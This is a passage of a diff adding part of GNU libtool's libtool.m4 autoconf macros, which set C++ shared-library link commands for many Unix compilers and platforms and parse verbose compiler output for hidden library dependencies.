${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; 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+ aCC) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[-]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + hpux10*|hpux11*) + if test $with_gnu_ld = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + esac + fi + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + *) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, + # but as the default + # location of the library. + ;; + esac + + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + aCC) + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes; then + if test $with_gnu_ld = no; then + case "$host_cpu" in + ia64*|hppa*64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $linker_flags $libobjs $deplibs' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + ;; + esac + fi + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + irix5* | irix6*) + case $cc_basename in + CC) + # SGI C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + # Archives containing C++ object files must be created using + # "CC -ar", where "CC" is the IRIX C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' + ;; + *) + if test "$GXX" = yes; then + if test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib' + fi + fi + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + esac + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + linux*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + ;; + icpc) + # Intel C++ + with_gnu_ld=yes + # version 8.0 and above of icpc choke on multiply defined symbols + # if we add $predep_objects and $postdep_objects, however 7.1 and + # earlier do not add the objects themselves. + case `$CC -V 2>&1` in + *"Version 7."*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + *) # Version 8.0 or newer + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive' + ;; + cxx) + # Compaq C++ + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' + + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + esac + ;; + lynxos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + m88k*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + mvs*) + case $cc_basename in + cxx) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + fi + # Workaround some broken pre-1.5 toolchains + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' + ;; + openbsd2*) + # C++ shared libraries are fairly broken + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + openbsd*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + fi + output_verbose_link_cmd='echo' + ;; + osf3*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + osf4* | osf5*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ + echo "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry $objdir/so_locations -o $lib~ + $rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + psos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + sco*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + lcc) + # Lucid + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -nolib -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) + # The C++ compiler is used as linker so we must use $wl + # flag to pass the commands to the underlying system + # linker. + # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep "\-[[LR]]"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs' + if $CC --version | grep -v '^2\.7' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + else + # g++ 2.7 appears to require `-G' NOT `-shared' on this + # platform. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + fi + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir' + fi + ;; + esac + ;; + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + vxworks*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; +esac +AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +_LT_AC_TAGVAR(GCC, $1)="$GXX" +_LT_AC_TAGVAR(LD, $1)="$LD" + +AC_LIBTOOL_POSTDEP_PREDEP($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC=$lt_save_CC +LDCXX=$LD +LD=$lt_save_LD +GCC=$lt_save_GCC +with_gnu_ldcxx=$with_gnu_ld +with_gnu_ld=$lt_save_with_gnu_ld +lt_cv_path_LDCXX=$lt_cv_path_LD +lt_cv_path_LD=$lt_save_path_LD +lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld +lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld +])# AC_LIBTOOL_LANG_CXX_CONFIG + +# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME]) +# ------------------------ +# Figure out "hidden" library dependencies from verbose +# compiler output when linking a shared library. +# Parse the compiler output and extract the necessary +# objects, libraries and library flags. +AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[ +dnl we can't use the lt_simple_compile_test_code here, +dnl because it contains code intended for an executable, +dnl not a library. It's possible we should let each +dnl tag define a new lt_????_link_test_code variable, +dnl but it's only used here... +ifelse([$1],[],[cat > conftest.$ac_ext <<EOF +int a; +void foo (void) { a = 0; } +EOF +],[$1],[CXX],[cat > conftest.$ac_ext <<EOF +class Foo +{ +public: + Foo (void) { a = 0; } +private: + int a; +}; +EOF +],[$1],[F77],[cat > conftest.$ac_ext <<EOF + subroutine foo + implicit none + integer*4 a + a=0 + return + end +EOF +],[$1],[GCJ],[cat > conftest.$ac_ext <<EOF +public class foo { + private int a; + public void bar (void) { + a = 0; + } +}; +EOF +]) +dnl Parse the compiler output and extract the necessary +dnl objects, libraries and library flags. +if AC_TRY_EVAL(ac_compile); then + # Parse the compiler output and extract the necessary + # objects, libraries and library flags. + + # Sentinel used to keep track of whether or not we are before + # the conftest object file. + pre_test_object_deps_done=no + + # The `*' in the case matches for architectures that use `case' in + # $output_verbose_cmd can trigger glob expansion during the loop + # eval without this substitution. + output_verbose_link_cmd="`$echo \"X$output_verbose_link_cmd\" | $Xsed -e \"$no_glob_subst\"`" + + for p in `eval $output_verbose_link_cmd`; do + case $p in + + -L* | -R* | -l*) + # Some compilers place space between "-{L,R}" and the path. + # Remove the space. + if test $p = "-L" \ + || test $p = "-R"; then + prev=$p + continue + else + prev= + fi + + if test "$pre_test_object_deps_done" = no; then + case $p in + -L* | -R*) + # Internal compiler library paths should come after those + # provided the user. The postdeps already come after the + # user supplied libs so there is no need to process them. + if test -z "$_LT_AC_TAGVAR(compiler_lib_search_path, $1)"; then + _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${prev}${p}" + else + _LT_AC_TAGVAR(compiler_lib_search_path, $1)="${_LT_AC_TAGVAR(compiler_lib_search_path, $1)} ${prev}${p}" + fi + ;; + # The "-l" case would never come before the object being + # linked, so don't bother handling this case. + esac + else + if test -z "$_LT_AC_TAGVAR(postdeps, $1)"; then + _LT_AC_TAGVAR(postdeps, $1)="${prev}${p}" + else + _LT_AC_TAGVAR(postdeps, $1)="${_LT_AC_TAGVAR(postdeps, $1)} ${prev}${p}" + fi + fi + ;; + + *.$objext) + # This assumes that the test object file only shows up + # once in the compiler output. + if test "$p" = "conftest.$objext"; then + pre_test_object_deps_done=yes + continue + fi + + if test "$pre_test_object_deps_done" = no; then + if test -z "$_LT_AC_TAGVAR(predep_objects, $1)"; then + _LT_AC_TAGVAR(predep_objects, $1)="$p" + else + _LT_AC_TAGVAR(predep_objects, $1)="$_LT_AC_TAGVAR(predep_objects, $1) $p" + fi + else + if test -z "$_LT_AC_TAGVAR(postdep_objects, $1)"; then + _LT_AC_TAGVAR(postdep_objects, $1)="$p" + else + _LT_AC_TAGVAR(postdep_objects, $1)="$_LT_AC_TAGVAR(postdep_objects, $1) $p" + fi + fi + ;; + 